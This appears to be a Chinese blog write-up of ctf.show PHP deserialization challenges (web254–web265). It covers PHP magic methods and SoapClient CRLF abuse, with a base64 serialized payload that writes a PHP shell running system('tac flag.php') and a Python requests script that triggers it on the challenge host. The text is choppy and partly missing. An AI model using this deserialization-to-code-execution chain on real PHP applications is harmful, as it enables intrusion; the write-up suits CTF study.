文章目录
简介
- 简介
- 入门
- 反序列化中常见的魔法函数
- web254
- web255
- web256
- web257
- 为什么需要用urlencode?
- web258
- web259
- 介绍
- web260
- web261
- web262
- web264
- web263
- web265
- web266
- 补充知识点
- php中输出打印的方式
php序列化和反序列用到两个函数
序列化:serialize,将对象格式化为一个新的字符串
反序列化:unserialize,将字符串还原为原来的对象。
一般在CTF中,可以通过自己写php代码,并传序列化后的代码,可以覆盖原来的代码,从而改变代码执行过程,达到自己的目的(仅限我的理解)
入门
参考:
https://blog.csdn.net/solitudi/article/details/113588692?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522163090819616780357263384%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=163090819616780357263384&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_v2~rank_v29-1-113588692.pc_v2_rank_blog_default&utm_term=php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96&spm=1018.2226.3001.4450
https://blog.csdn.net/q20010619/article/details/108352029?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522163093042316780271566242%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=163093042316780271566242&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_v2~rank_v29-3-108352029.pc_search_result_hbase_insert&utm_term=php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96&spm=1018.2226.3001.4187
反序列化中常见的魔法函数
__construct 当一个对象创建时被调用
__destruct 当一个对象销毁时被调用
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发
web254
感觉和反序列化没有关系,直接通过URL参数传入,username=xxxxxx&password=xxxxxx
web255看代码得知,url传参数?username=xxxxxx&password=xxxxxx 并且使得属性isVip=true,才可以得到flag 所以使用unserialize,改变原来代码的isVip属性值
考点:php原生类SoapClient
介绍php在安装php-soap拓展后,可以反序列化原生类SoapClient,来发送http post请求。
必须调用SoapClient不存在的方法,触发SoapClient的__call魔术方法。
通过CRLF来添加请求体:SoapClient可以指定请求的user-agent头,通过添加换行符的形式来加入其他请求内容
SoapClient采用了HTTP作为底层通讯协议,XML作为数据传送的格式,其采用了SOAP协议(SOAP 是一种简单的基于 XML 的协议,它使应用程序通过 HTTP 来交换信息),其次我们知道某个实例化的类,如果去调用了一个不存在的函数,会去调用__call
方法
具体的利用方式,上面链接有,我就不多阐述了。
同时也用到了CRLF漏洞
flag.php源码
';
public $status='dotast';
}
$a=new User();
echo base64_encode('|'.serialize($a));
fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czozMDoiPD9waHAgc3lzdGVtKCJjYXRmbGFnLnBocCIpOz8
输出值存进cookie中,带着cookie去访问index.php
,接着访问inc/inc.php
,然后就会生成文件log-1.php
,直接写一个脚本
import requests
url = "http://a768fa0f-b2b6-47dd-a787-5b1f3063ca7e.challenge.ctf.show/"
cookies = {"PHPSESSID": "4lppepr42tnnv98rca6ei55dun", "limit": "fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czoxMDoiZG90YXN0LnBocCI7czo4OiJwYXNzd29yZCI7czozMToiPD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/PiI7czo2OiJzdGF0dXMiO3M6NjoiZG90YXN0Ijt9"}
res1 = requests.get(url + "index.php", cookies=cookies)
res2 = requests.get(url + "inc/inc.php", cookies=cookies)
res3 = requests.get(url + "log-1.php", cookies=cookies)
print(res3.text)
web265
考点:php的按地址传参
在C语言中,可以传地址,如果一个变量的地址赋值给另一个变量,他们的值会同时改变。
所以,利用这个特性构造payload
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?